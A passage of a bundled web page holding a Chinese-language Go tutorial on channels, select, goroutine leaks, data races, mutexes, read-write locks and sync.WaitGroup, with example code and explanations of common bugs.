i:\n\t\t}\n\t}\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u4e0a\u9762\u7684\u4ee3\u7801\u8f93\u51fa\u5185\u5bb9\u5982\u4e0b\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"1\n3\n5\n7\n9\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u793a\u4f8b\u4e2d\u7684\u4ee3\u7801\u9996\u5148\u662f\u521b\u5efa\u4e86\u4e00\u4e2a\u7f13\u51b2\u533a\u5927\u5c0f\u4e3a1\u7684\u901a\u9053 ch\uff0c\u8fdb\u5165 for \u5faa\u73af\u540e\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\u7b2c\u4e00\u6b21\u5faa\u73af\u65f6 i = 1\uff0cselect \u8bed\u53e5\u4e2d\u5305\u542b\u4e24\u4e2a case \u5206\u652f\uff0c\u6b64\u65f6\u7531\u4e8e\u901a\u9053\u4e2d\u6ca1\u6709\u503c\u53ef\u4ee5\u63a5\u6536\uff0c\u6240\u4ee5",(0,i.jsx)(e.code,{children:"x := <-ch"})," \u8fd9\u4e2a case \u5206\u652f\u4e0d\u6ee1\u8db3\uff0c\u800c",(0,i.jsx)(e.code,{children:"ch <- i"}),"\u8fd9\u4e2a\u5206\u652f\u53ef\u4ee5\u6267\u884c\uff0c\u4f1a\u628a1\u53d1\u9001\u5230\u901a\u9053\u4e2d\uff0c\u7ed3\u675f\u672c\u6b21 for \u5faa\u73af\uff1b"]}),"\n",(0,i.jsxs)(e.li,{children:["\u7b2c\u4e8c\u6b21 for \u5faa\u73af\u65f6\uff0ci = 2\uff0c\u7531\u4e8e\u901a\u9053\u7f13\u51b2\u533a\u5df2\u6ee1\uff0c\u6240\u4ee5",(0,i.jsx)(e.code,{children:"ch <- i"}),"\u8fd9\u4e2a\u5206\u652f\u4e0d\u6ee1\u8db3\uff0c\u800c",(0,i.jsx)(e.code,{children:"x := <-ch"}),"\u8fd9\u4e2a\u5206\u652f\u53ef\u4ee5\u6267\u884c\uff0c\u4ece\u901a\u9053\u63a5\u6536\u503c1\u5e76\u8d4b\u503c\u7ed9\u53d8\u91cf x \uff0c\u6240\u4ee5\u4f1a\u5728\u7ec8\u7aef\u6253\u5370\u51fa 1\uff1b"]}),"\n",(0,i.jsx)(e.li,{children:"\u540e\u7eed\u7684 for \u5faa\u73af\u4ee5\u6b64\u7c7b\u63a8\u4f1a\u4f9d\u6b21\u6253\u5370\u51fa3\u30015\u30017\u30019\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.h2,{id:"\u901a\u9053\u8bef\u7528\u793a\u4f8b",children:"\u901a\u9053\u8bef\u7528\u793a\u4f8b"}),"\n",(0,i.jsx)(e.p,{children:"\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u5c06\u5c55\u793a\u4e24\u4e2a\u56e0\u8bef\u7528\u901a\u9053\u5bfc\u81f4\u7a0b\u5e8f\u51fa\u73b0 bug \u7684\u4ee3\u7801\u7247\u6bb5\uff0c\u5e0c\u671b\u80fd\u591f\u52a0\u6df1\u8bfb\u8005\u5bf9\u901a\u9053\u64cd\u4f5c\u7684\u5370\u8c61\u3002"}),"\n",(0,i.jsx)(e.h4,{id:"\u793a\u4f8b1",children:"\u793a\u4f8b1"}),"\n",(0,i.jsx)(e.p,{children:"\u5404\u4f4d\u8bfb\u8005\u53ef\u4ee5\u67e5\u770b\u4ee5\u4e0b\u793a\u4f8b\u4ee3\u7801\uff0c\u5c1d\u8bd5\u627e\u51fa\u5176\u4e2d\u5b58\u5728\u7684\u95ee\u9898\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"// demo1 \u901a\u9053\u8bef\u7528\u5bfc\u81f4\u7684bug\nfunc demo1() {\n\twg := sync.WaitGroup{}\n\n\tch := make(chan int, 10)\n\tfor i := 0; i < 10; i++ {\n\t\tch <- i\n\t}\n\tclose(ch)\n\n\twg.Add(3)\n\tfor j := 0; j < 3; j++ {\n\t\tgo func() {\n\t\t\tfor {\n\t\t\t\ttask := <-ch\n\t\t\t\t// \u8fd9\u91cc\u5047\u8bbe\u5bf9\u63a5\u6536\u7684\u6570\u636e\u6267\u884c\u67d0\u4e9b\u64cd\u4f5c\n\t\t\t\tfmt.Println(task)\n\t\t\t}\n\t\t\twg.Done()\n\t\t}()\n\t}\n\twg.Wait()\n}\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5c06\u4e0a\u8ff0\u4ee3\u7801\u7f16\u8bd1\u6267\u884c\u540e\uff0c\u533f\u540d\u51fd\u6570\u6240\u5728\u7684 goroutine \u5e76\u4e0d\u4f1a\u6309\u7167\u9884\u671f\u5728\u901a\u9053\u88ab\u5173\u95ed\u540e\u9000\u51fa\u3002\u56e0\u4e3a",(0,i.jsx)(e.code,{children:"task := <- ch"}),"\u7684\u63a5\u6536\u64cd\u4f5c\u5728\u901a\u9053\u88ab\u5173\u95ed\u540e\u4f1a\u4e00\u76f4\u63a5\u6536\u5230\u96f6\u503c\uff0c\u800c\u4e0d\u4f1a\u9000\u51fa\u3002\u6b64\u5904\u7684\u63a5\u6536\u64cd\u4f5c\u5e94\u8be5\u4f7f\u7528",(0,i.jsx)(e.code,{children:"task, ok := <- ch"}),"\uff0c\u901a\u8fc7\u5224\u65ad\u5e03\u5c14\u503c",(0,i.jsx)(e.code,{children:"ok"}),"\u4e3a\u5047\u65f6\u9000\u51fa\uff1b\u6216\u8005\u4f7f\u7528select \u6765\u5904\u7406\u901a\u9053\u3002"]}),"\n",(0,i.jsx)(e.h4,{id:"\u793a\u4f8b2",children:"\u793a\u4f8b2"}),"\n",(0,i.jsx)(e.p,{children:"\u5404\u4f4d\u8bfb\u8005\u9605\u8bfb\u4e0b\u65b9\u4ee3\u7801\u7247\u6bb5\uff0c\u5c1d\u8bd5\u627e\u51fa\u5176\u4e2d\u5b58\u5728\u7684\u95ee\u9898\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'// demo2 \u901a\u9053\u8bef\u7528\u5bfc\u81f4\u7684bug\nfunc demo2() {\n\tch := make(chan string)\n\tgo func() {\n\t\t// \u8fd9\u91cc\u5047\u8bbe\u6267\u884c\u4e00\u4e9b\u8017\u65f6\u7684\u64cd\u4f5c\n\t\ttime.Sleep(3 * time.Second)\n\t\tch <- "job result"\n\t}()\n\n\tselect {\n\tcase result := <-ch:\n\t\tfmt.Println(result)\n\tcase <-time.After(time.Second): // \u8f83\u5c0f\u7684\u8d85\u65f6\u65f6\u95f4\n\t\treturn\n\t}\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0a\u8ff0\u4ee3\u7801\u7247\u6bb5\u53ef\u80fd\u5bfc\u81f4 goroutine \u6cc4\u9732\uff08goroutine \u5e76\u672a\u6309\u9884\u671f\u9000\u51fa\u5e76\u9500\u6bc1\uff09\u3002\u7531\u4e8e select \u547d\u4e2d\u4e86\u8d85\u65f6\u903b\u8f91\uff0c\u5bfc\u81f4\u901a\u9053\u6ca1\u6709\u6d88\u8d39\u8005\uff08\u65e0\u63a5\u6536\u64cd\u4f5c\uff09\uff0c\u800c\u5176\u5b9a\u4e49\u7684\u901a\u9053\u4e3a\u65e0\u7f13\u51b2\u901a\u9053\uff0c\u56e0\u6b64 goroutine \u4e2d\u7684",(0,i.jsx)(e.code,{children:'ch <- "job result"'}),"\u64cd\u4f5c\u4f1a\u4e00\u76f4\u963b\u585e\uff0c\u6700\u7ec8\u5bfc\u81f4 goroutine \u6cc4\u9732\u3002"]}),"\n",(0,i.jsx)(e.h2,{id:"\u5e76\u53d1\u5b89\u5168\u548c\u9501",children:"\u5e76\u53d1\u5b89\u5168\u548c\u9501"}),"\n",(0,i.jsxs)(e.p,{children:["\u6709\u65f6\u5019\u6211\u4eec\u7684\u4ee3\u7801\u4e2d\u53ef\u80fd\u4f1a\u5b58\u5728\u591a\u4e2a goroutine \u540c\u65f6\u64cd\u4f5c\u4e00\u4e2a\u8d44\u6e90\uff08\u4e34\u754c\u533a\uff09\u7684\u60c5\u51b5\uff0c\u8fd9\u79cd\u60c5\u51b5\u4e0b\u5c31\u4f1a\u53d1\u751f",(0,i.jsx)(e.code,{children:"\u7ade\u6001\u95ee\u9898"}),"\uff08\u6570\u636e\u7ade\u6001\uff09\u3002\u8fd9\u5c31\u597d\u6bd4\u73b0\u5b9e\u751f\u6d3b\u4e2d\u5341\u5b57\u8def\u53e3\u88ab\u5404\u4e2a\u65b9\u5411\u7684\u6c7d\u8f66\u7ade\u4e89\uff0c\u8fd8\u6709\u706b\u8f66\u4e0a\u7684\u536b\u751f\u95f4\u88ab\u8f66\u53a2\u91cc\u7684\u4eba\u7ade\u4e89\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u7528\u4e0b\u9762\u7684\u4ee3\u7801\u6f14\u793a\u4e00\u4e2a\u6570\u636e\u7ade\u4e89\u7684\u793a\u4f8b\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"sync"\n)\n\nvar (\n\tx int64\n\n\twg sync.WaitGroup // \u7b49\u5f85\u7ec4\n)\n\n// add \u5bf9\u5168\u5c40\u53d8\u91cfx\u6267\u884c5000\u6b21\u52a01\u64cd\u4f5c\nfunc add() {\n\tfor i := 0; i < 5000; i++ {\n\t\tx = x + 1\n\t}\n\twg.Done()\n}\n\nfunc main() {\n\twg.Add(2)\n\n\tgo add()\n\tgo add()\n\n\twg.Wait()\n\tfmt.Println(x)\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u540e\u6267\u884c\uff0c\u4e0d\u51fa\u610f\u5916\u6bcf\u6b21\u6267\u884c\u90fd\u4f1a\u8f93\u51fa\u8bf8\u59829537\u30015865\u30016527\u7b49\u4e0d\u540c\u7684\u7ed3\u679c\u3002\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff1f"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u4e0a\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u7247\u4e2d\uff0c\u6211\u4eec\u5f00\u542f\u4e86\u4e24\u4e2a goroutine \u5206\u522b\u6267\u884c add \u51fd\u6570\uff0c\u8fd9\u4e24\u4e2a goroutine \u5728\u8bbf\u95ee\u548c\u4fee\u6539\u5168\u5c40\u7684",(0,i.jsx)(e.code,{children:"x"}),"\u53d8\u91cf\u65f6\u5c31\u4f1a\u5b58\u5728\u6570\u636e\u7ade\u4e89\uff0c\u67d0\u4e2a goroutine \u4e2d\u5bf9\u5168\u5c40\u53d8\u91cf",(0,i.jsx)(e.code,{children:"x"}),"\u7684\u4fee\u6539\u53ef\u80fd\u4f1a\u8986\u76d6\u6389\u53e6\u4e00\u4e2a goroutine \u4e2d\u7684\u64cd\u4f5c\uff0c\u6240\u4ee5\u5bfc\u81f4\u6700\u540e\u7684\u7ed3\u679c\u4e0e\u9884\u671f\u4e0d\u7b26\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u4e92\u65a5\u9501",children:"\u4e92\u65a5\u9501"}),"\n",(0,i.jsxs)(e.p,{children:["\u4e92\u65a5\u9501\u662f\u4e00\u79cd\u5e38\u7528\u7684\u63a7\u5236\u5171\u4eab\u8d44\u6e90\u8bbf\u95ee\u7684\u65b9\u6cd5\uff0c\u5b83\u80fd\u591f\u4fdd\u8bc1\u540c\u4e00\u65f6\u95f4\u53ea\u6709\u4e00\u4e2a goroutine \u53ef\u4ee5\u8bbf\u95ee\u5171\u4eab\u8d44\u6e90\u3002Go \u8bed\u8a00\u4e2d\u4f7f\u7528",(0,i.jsx)(e.code,{children:"sync"}),"\u5305\u4e2d\u63d0\u4f9b\u7684",(0,i.jsx)(e.code,{children:"Mutex"}),"\u7c7b\u578b\u6765\u5b9e\u73b0\u4e92\u65a5\u9501\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"sync.Mutex"}),"\u63d0\u4f9b\u4e86\u4e24\u4e2a\u65b9\u6cd5\u4f9b\u6211\u4eec\u4f7f\u7528\u3002"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u65b9\u6cd5\u540d"}),(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u529f\u80fd"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (m *Mutex) Lock()"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u83b7\u53d6\u4e92\u65a5\u9501"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (m *Mutex) Unlock()"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u91ca\u653e\u4e92\u65a5\u9501"})]})]})]}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u5728\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u4e2d\u4f7f\u7528\u4e92\u65a5\u9501\u9650\u5236\u6bcf\u6b21\u53ea\u6709\u4e00\u4e2a goroutine \u624d\u80fd\u4fee\u6539\u5168\u5c40\u53d8\u91cf",(0,i.jsx)(e.code,{children:"x"}),"\uff0c\u4ece\u800c\u4fee\u590d\u4e0a\u9762\u4ee3\u7801\u4e2d\u7684\u95ee\u9898\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"sync"\n)\n\n// sync.Mutex\n\nvar (\n\tx int64\n\n\twg sync.WaitGroup // \u7b49\u5f85\u7ec4\n\n\tm sync.Mutex // \u4e92\u65a5\u9501\n)\n\n// add \u5bf9\u5168\u5c40\u53d8\u91cfx\u6267\u884c5000\u6b21\u52a01\u64cd\u4f5c\nfunc add() {\n\tfor i := 0; i < 5000; i++ {\n\t\tm.Lock() // \u4fee\u6539x\u524d\u52a0\u9501\n\t\tx = x + 1\n\t\tm.Unlock() // \u6539\u5b8c\u89e3\u9501\n\t}\n\twg.Done()\n}\n\nfunc main() {\n\twg.Add(2)\n\n\tgo add()\n\tgo add()\n\n\twg.Wait()\n\tfmt.Println(x)\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u540e\u591a\u6b21\u6267\u884c\uff0c\u6bcf\u4e00\u6b21\u90fd\u4f1a\u5f97\u5230\u9884\u671f\u4e2d\u7684\u7ed3\u679c\u2014\u201410000\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u4f7f\u7528\u4e92\u65a5\u9501\u80fd\u591f\u4fdd\u8bc1\u540c\u4e00\u65f6\u95f4\u6709\u4e14\u53ea\u6709\u4e00\u4e2a goroutine \u8fdb\u5165\u4e34\u754c\u533a\uff0c\u5176\u4ed6\u7684 goroutine \u5219\u5728\u7b49\u5f85\u9501\uff1b\u5f53\u4e92\u65a5\u9501\u91ca\u653e\u540e\uff0c\u7b49\u5f85\u7684 goroutine \u624d\u53ef\u4ee5\u83b7\u53d6\u9501\u8fdb\u5165\u4e34\u754c\u533a\uff0c\u591a\u4e2a goroutine \u540c\u65f6\u7b49\u5f85\u4e00\u4e2a\u9501\u65f6\uff0c\u5524\u9192\u7684\u7b56\u7565\u662f\u968f\u673a\u7684\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u8bfb\u5199\u4e92\u65a5\u9501",children:"\u8bfb\u5199\u4e92\u65a5\u9501"}),"\n",(0,i.jsxs)(e.p,{children:["\u4e92\u65a5\u9501\u662f\u5b8c\u5168\u4e92\u65a5\u7684\uff0c\u4f46\u662f\u5b9e\u9645\u4e0a\u6709\u5f88\u591a\u573a\u666f\u662f\u8bfb\u591a\u5199\u5c11\u7684\uff0c\u5f53\u6211\u4eec\u5e76\u53d1\u7684\u53bb\u8bfb\u53d6\u4e00\u4e2a\u8d44\u6e90\u800c\u4e0d\u6d89\u53ca\u8d44\u6e90\u4fee\u6539\u7684\u65f6\u5019\u662f\u6ca1\u6709\u5fc5\u8981\u52a0\u4e92\u65a5\u9501\u7684\uff0c\u8fd9\u79cd\u573a\u666f\u4e0b\u4f7f\u7528\u8bfb\u5199\u9501\u662f\u66f4\u597d\u7684\u4e00\u79cd\u9009\u62e9\u3002\u8bfb\u5199\u9501\u5728 Go \u8bed\u8a00\u4e2d\u4f7f\u7528",(0,i.jsx)(e.code,{children:"sync"}),"\u5305\u4e2d\u7684",(0,i.jsx)(e.code,{children:"RWMutex"}),"\u7c7b\u578b\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"sync.RWMutex"}),"\u63d0\u4f9b\u4e86\u4ee5\u4e0b5\u4e2a\u65b9\u6cd5\u3002"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u65b9\u6cd5\u540d"}),(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u529f\u80fd"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (rw *RWMutex) Lock()"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u83b7\u53d6\u5199\u9501"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (rw *RWMutex) Unlock()"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u91ca\u653e\u5199\u9501"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (rw *RWMutex) RLock()"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u83b7\u53d6\u8bfb\u9501"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (rw *RWMutex) RUnlock()"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u91ca\u653e\u8bfb\u9501"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (rw *RWMutex) RLocker() Locker"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u8fd4\u56de\u4e00\u4e2a\u5b9e\u73b0Locker\u63a5\u53e3\u7684\u8bfb\u5199\u9501"})]})]})]}),"\n",(0,i.jsx)(e.p,{children:"\u8bfb\u5199\u9501\u5206\u4e3a\u4e24\u79cd\uff1a\u8bfb\u9501\u548c\u5199\u9501\u3002\u5f53\u4e00\u4e2a goroutine \u83b7\u53d6\u5230\u8bfb\u9501\u4e4b\u540e\uff0c\u5176\u4ed6\u7684 goroutine \u5982\u679c\u662f\u83b7\u53d6\u8bfb\u9501\u4f1a\u7ee7\u7eed\u83b7\u5f97\u9501\uff0c\u5982\u679c\u662f\u83b7\u53d6\u5199\u9501\u5c31\u4f1a\u7b49\u5f85\uff1b\u800c\u5f53\u4e00\u4e2a goroutine \u83b7\u53d6\u5199\u9501\u4e4b\u540e\uff0c\u5176\u4ed6\u7684 goroutine \u65e0\u8bba\u662f\u83b7\u53d6\u8bfb\u9501\u8fd8\u662f\u5199\u9501\u90fd\u4f1a\u7b49\u5f85\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u4e0b\u9762\u6211\u4eec\u4f7f\u7528\u4ee3\u7801\u6784\u9020\u4e00\u4e2a\u8bfb\u591a\u5199\u5c11\u7684\u573a\u666f\uff0c\u7136\u540e\u5206\u522b\u4f7f\u7528\u4e92\u65a5\u9501\u548c\u8bfb\u5199\u9501\u67e5\u770b\u5b83\u4eec\u7684\u6027\u80fd\u5dee\u5f02\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'var (\n\tx int64\n\twg sync.WaitGroup\n\tmutex sync.Mutex\n\trwMutex sync.RWMutex\n)\n\n// writeWithLock \u4f7f\u7528\u4e92\u65a5\u9501\u7684\u5199\u64cd\u4f5c\nfunc writeWithLock() {\n\tmutex.Lock() // \u52a0\u4e92\u65a5\u9501\n\tx = x + 1\n\ttime.Sleep(10 * time.Millisecond) // \u5047\u8bbe\u8bfb\u64cd\u4f5c\u8017\u65f610\u6beb\u79d2\n\tmutex.Unlock() // \u89e3\u4e92\u65a5\u9501\n\twg.Done()\n}\n\n// readWithLock \u4f7f\u7528\u4e92\u65a5\u9501\u7684\u8bfb\u64cd\u4f5c\nfunc readWithLock() {\n\tmutex.Lock() // \u52a0\u4e92\u65a5\u9501\n\ttime.Sleep(time.Millisecond) // \u5047\u8bbe\u8bfb\u64cd\u4f5c\u8017\u65f61\u6beb\u79d2\n\tmutex.Unlock() // \u91ca\u653e\u4e92\u65a5\u9501\n\twg.Done()\n}\n\n// writeWithLock \u4f7f\u7528\u8bfb\u5199\u4e92\u65a5\u9501\u7684\u5199\u64cd\u4f5c\nfunc writeWithRWLock() {\n\trwMutex.Lock() // \u52a0\u5199\u9501\n\tx = x + 1\n\ttime.Sleep(10 * time.Millisecond) // \u5047\u8bbe\u8bfb\u64cd\u4f5c\u8017\u65f610\u6beb\u79d2\n\trwMutex.Unlock() // \u91ca\u653e\u5199\u9501\n\twg.Done()\n}\n\n// readWithRWLock \u4f7f\u7528\u8bfb\u5199\u4e92\u65a5\u9501\u7684\u8bfb\u64cd\u4f5c\nfunc readWithRWLock() {\n\trwMutex.RLock() // \u52a0\u8bfb\u9501\n\ttime.Sleep(time.Millisecond) // \u5047\u8bbe\u8bfb\u64cd\u4f5c\u8017\u65f61\u6beb\u79d2\n\trwMutex.RUnlock() // \u91ca\u653e\u8bfb\u9501\n\twg.Done()\n}\n\nfunc do(wf, rf func(), wc, rc int) {\n\tstart := time.Now()\n\t// wc\u4e2a\u5e76\u53d1\u5199\u64cd\u4f5c\n\tfor i := 0; i < wc; i++ {\n\t\twg.Add(1)\n\t\tgo wf()\n\t}\n\n\t// rc\u4e2a\u5e76\u53d1\u8bfb\u64cd\u4f5c\n\tfor i := 0; i < rc; i++ {\n\t\twg.Add(1)\n\t\tgo rf()\n\t}\n\n\twg.Wait()\n\tcost := time.Since(start)\n\tfmt.Printf("x:%v cost:%v\\n", x, cost)\n\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u5047\u8bbe\u6bcf\u4e00\u6b21\u8bfb\u64cd\u4f5c\u90fd\u4f1a\u8017\u65f61ms\uff0c\u800c\u6bcf\u4e00\u6b21\u5199\u64cd\u4f5c\u4f1a\u8017\u65f610ms\uff0c\u6211\u4eec\u5206\u522b\u6d4b\u8bd5\u4f7f\u7528\u4e92\u65a5\u9501\u548c\u8bfb\u5199\u4e92\u65a5\u9501\u6267\u884c10\u6b21\u5e76\u53d1\u5199\u548c1000\u6b21\u5e76\u53d1\u8bfb\u7684\u8017\u65f6\u6570\u636e\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"// \u4f7f\u7528\u4e92\u65a5\u9501\uff0c10\u5e76\u53d1\u5199\uff0c1000\u5e76\u53d1\u8bfb\ndo(writeWithLock, readWithLock, 10, 1000) // x:10 cost:1.466500951s\n\n// \u4f7f\u7528\u8bfb\u5199\u4e92\u65a5\u9501\uff0c10\u5e76\u53d1\u5199\uff0c1000\u5e76\u53d1\u8bfb\ndo(writeWithRWLock, readWithRWLock, 10, 1000) // x:10 cost:117.207592ms\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u4ece\u6700\u7ec8\u7684\u6267\u884c\u7ed3\u679c\u53ef\u4ee5\u770b\u51fa\uff0c\u4f7f\u7528\u8bfb\u5199\u4e92\u65a5\u9501\u5728\u8bfb\u591a\u5199\u5c11\u7684\u573a\u666f\u4e0b\u80fd\u591f\u6781\u5927\u5730\u63d0\u9ad8\u7a0b\u5e8f\u7684\u6027\u80fd\u3002\u4e0d\u8fc7\u9700\u8981\u6ce8\u610f\u7684\u662f\u5982\u679c\u4e00\u4e2a\u7a0b\u5e8f\u4e2d\u7684\u8bfb\u64cd\u4f5c\u548c\u5199\u64cd\u4f5c\u6570\u91cf\u7ea7\u5dee\u522b\u4e0d\u5927\uff0c\u90a3\u4e48\u8bfb\u5199\u4e92\u65a5\u9501\u7684\u4f18\u52bf\u5c31\u53d1\u6325\u4e0d\u51fa\u6765\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"syncwaitgroup",children:"sync.WaitGroup"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u4ee3\u7801\u4e2d\u751f\u786c\u7684\u4f7f\u7528",(0,i.jsx)(e.code,{children:"time.Sleep"}),"\u80af\u5b9a\u662f\u4e0d\u5408\u9002\u7684\uff0cGo\u8bed\u8a00\u4e2d\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(e.code,{children:"sync.WaitGroup"}),"\u6765\u5b9e\u73b0\u5e76\u53d1\u4efb\u52a1\u7684\u540c\u6b65\u3002 ",(0,i.jsx)(e.code,{children:"sync.WaitGroup"}),"\u6709\u4ee5\u4e0b\u51e0\u4e2a\u65b9\u6cd5\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u65b9\u6cd5\u540d"}),(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u529f\u80fd"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (wg * WaitGroup) Add(delta int)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u8ba1\u6570\u5668+delta"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"(wg *WaitGroup) Done()"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u8ba1\u6570\u5668-1"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"(wg *WaitGroup) Wait()"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u963b\u585e\u76f4\u5230\u8ba1\u6570\u5668\u53d8\u4e3a0"})]})]})]}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"sync.WaitGroup"}),"\u5185\u90e8\u7ef4\u62a4\u7740\u4e00\u4e2a\u8ba1\u6570\u5668\uff0c\u8ba1\u6570\u5668\u7684\u503c\u53ef\u4ee5\u589e\u52a0\u548c\u51cf\u5c11\u3002\u4f8b\u5982\u5f53\u6211\u4eec\u542f\u52a8\u4e86 N \u4e2a\u5e76\u53d1\u4efb\u52a1\u65f6\uff0c\u5c31\u5c06\u8ba1\u6570\u5668\u503c\u589e\u52a0N\u3002\u6bcf\u4e2a\u4efb\u52a1\u5b8c\u6210\u65f6\u901a\u8fc7\u8c03\u7528 Done \u65b9\u6cd5\u5c06\u8ba1\u6570\u5668\u51cf1\u3002\u901a\u8fc7\u8c03\u7528 Wait \u6765\u7b49\u5f85\u5e76\u53d1\u4efb\u52a1\u6267\u884c\u5b8c\uff0c\u5f53\u8ba1\u6570\u5668\u503c\u4e3a 0 \u65f6\uff0c\u8868\u793a\u6240\u6709\u5e76\u53d1\u4efb\u52a1\u5df2\u7ecf\u5b8c\u6210\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u5229\u7528",(0,i.jsx)(e.code,{children:"sync.WaitGroup"}),"\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u4f18\u5316\u4e00\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'var wg sync.WaitGroup\n\nfunc hello() {\n\tdefer wg.Done()\n\tfmt.Println("Hello Goroutine!")\n}\nfunc main() {\n\twg.Add(1)\n\tgo hello() // \u542f\u52a8\u53e6\u5916\u4e00\u4e2agoroutine\u53bb\u6267\u884chello\u51fd\u6570\n\tfmt.Println("main goroutine done!")\n\twg.Wait()\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u9700\u8981\u6ce8\u610f",(0,i.jsx)(e.code,{children:"sync.WaitGroup"}),"\u662f\u4e00\u4e2a\u7ed3\u6784\u4f53\uff0c\u8fdb\u884c\u53c2\u6570\u4f20\u9012\u7684\u65f6\u5019\u8981\u4f20\u9012\u6307\u9488\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"synconce",children:"sync.Once"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u67d0\u4e9b\u573a\u666f\u4e0b\u6211\u4eec\u9700\u8981\u786e\u4fdd\u67d0\u4e9b\u64cd\u4f5c\u5373\u4f7f\u5728\u9ad8\u5e76\u53d1\u7684\u573a\u666f\u4e0b\u4e5f\u53ea\u4f1a\u88ab\u6267\u884c\u4e00\u6b21\uff0c\u4f8b\u5982\u53ea\u52a0\u8f7d\u4e00\u6b21\u914d\u7f6e\u6587\u4ef6\u7b49